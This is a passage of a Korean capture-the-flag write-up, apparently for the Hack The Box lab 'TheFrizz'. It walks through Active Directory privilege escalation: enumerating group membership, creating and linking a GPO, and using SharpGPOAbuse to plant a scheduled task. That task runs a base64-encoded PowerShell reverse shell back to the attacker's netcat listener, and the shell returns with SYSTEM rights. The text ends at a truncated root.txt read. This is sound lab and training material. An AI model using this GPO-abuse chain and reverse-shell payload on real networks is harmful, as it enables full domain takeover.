f.frizzle 을 통해서 로그인 했을 때 Users 폴더에서 일반 유저로 보이는 다른 이용자는 m.schoolbus 가 존재하니, 해당 계정으로 로그인을 시도하기 위해 kinit 으로 TGT 티켓을 통한 로그인을 하기 위해 등록한다.

┌──(root㉿kali)-[/home/…/labs/TheFrizz/wapt/conf]
└─# kinit m.schoolbus

Password for m.schoolbus@FRIZZ.HTB: 

그리고 ssh 를 통해서 접근하니 정상적으로 로그인이 되는 것을 확인할 수 있다. 이후 해당 계정의 권한을 확인한다.

┌──(root㉿kali)-[/home/…/labs/TheFrizz/wapt/conf]
└─# ssh -k m.schoolbus@frizzdc.frizz.htb

PowerShell 7.4.5
PS C:\Users\M.SchoolBus> net user m.schoolbus
User name                    M.SchoolBus
Full Name                    Marvin SchoolBus
Comment                      Desktop Administrator
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/29/2024 6:27:03 AM
Password expires             Never
Password changeable          10/29/2024 6:27:03 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   12/29/2025 5:35:36 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *Desktop Admins
The command completed successfully.

아래의 그룹 권한을 확인하면 Group Policy Creator Owners 의 권한이 존재한다. 이는 GPO 권한으로 불리고, 새로운 그룹 정책을 생성할 수 있다.

PS C:\Users\M.SchoolBus> get-adgroup "Desktop Admins" -Properties memberOf | Select-Object -ExpandProperty memberOf
CN=Group Policy Creator Owners,CN=Users,DC=frizz,DC=htb
PS C:\Users\M.SchoolBus>
PS C:\Users\M.SchoolBus>
PS C:\Users\M.SchoolBus> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                   Type             SID                                            Attributes                                      

============================================ ================ ============================================== ===============================================================
Everyone                                     Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users              Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                                Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access   Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                         Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users             Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization               Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
frizz\Desktop Admins                         Group            S-1-5-21-2386970044-1145388522-2932701813-1121 Mandatory group, Enabled by default, Enabled group
frizz\Group Policy Creator Owners            Group            S-1-5-21-2386970044-1145388522-2932701813-520  Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity   Well-known group S-1-18-1                                       Mandatory group, Enabled by default, Enabled group
frizz\Denied RODC Password Replication Group Alias            S-1-5-21-2386970044-1145388522-2932701813-572  Mandatory group, Enabled by default, Enabled group, Local Group
Mandatory Label\Medium Mandatory Level       Label            S-1-16-8192                                                                                    

Get-GPO 를 통해서 현재 GPO 를 식별할 수 있다.

PS C:\Users\M.SchoolBus> Get-GPO -all                                                                              

DisplayName      : Default Domain Policy
DomainName       : frizz.htb
Owner            : frizz\Domain Admins
Id               : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 6:25:44 AM
UserVersion      : 
ComputerVersion  : 
WmiFilter        : 

DisplayName      : Default Domain Controllers Policy
DomainName       : frizz.htb
Owner            : frizz\Domain Admins
Id               : 6ac1786c-016f-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 6:19:24 AM
UserVersion      : 
ComputerVersion  : 
WmiFilter        : 

그리고 새로운 GPO 를 생성한다.

PS C:\Users\M.SchoolBus> New-GPO -name "test"

DisplayName      : test
DomainName       : frizz.htb
Owner            : frizz\M.SchoolBus
Id               : 2c1c6544-aac7-4711-b725-d9a25d84a95b
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 12/29/2025 5:41:32 PM
ModificationTime : 12/29/2025 5:41:32 PM
UserVersion      : 
ComputerVersion  : 
WmiFilter        : 

PS C:\Users\M.SchoolBus> New-GPLink -Name "test" -target "DC=frizz,DC=htb"

GpoId       : 2c1c6544-aac7-4711-b725-d9a25d84a95b
DisplayName : test
Enabled     : True
Enforced    : False
Target      : DC=frizz,DC=htb
Order       : 2

SharpGPOAbuse.exe 를 다운로드 받고 업로드를 진행해서 GPO 를 악용하는 행위를 할 수 있는 파일을 전송한다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# scp -o GSSAPIAuthentication=yes SharpGPOAbuse.exe m.schoolbus@frizz.htb:/windows/temp/
SharpGPOAbuse.exe                                            100%   70KB  19.7KB/s   00:03

생성한 GPO 를 통해서 원하는 명령을 실행시킬 수 있다. 하지만 바로 업데이트가 되지 않으므로 gpupdate /force 를 실행시켜야 바로 리셋이 된다. 리버스 쉘은 위에서 언급한 사이트를 통해서 생성하였다.

PS C:\Users\M.SchoolBus> \windows\temp\SharpGPOAbuse.exe --addcomputertask --GPOName "test" --Author "test" --TaskName "RevShell" --Command "powershell.exe" --Arguments "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA0ADMAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] GUID of "test" is: {AE912115-DECE-463D-93D7-0E8F98F25674}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{AE912115-DECE-463D-93D7-0E8F98F25674}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
PS C:\Users\M.SchoolBus> gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

kali 에서 listen 모드로 대기하고 있으면 시스템 권한으로 접근이 가능하고, root.txt 를 통해 flag를 획득할 수 있다.

┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 443               
listening on [any] 443 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.48.215] 54302

PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> type C:\users\administrator\desktop\root.txt
Updated on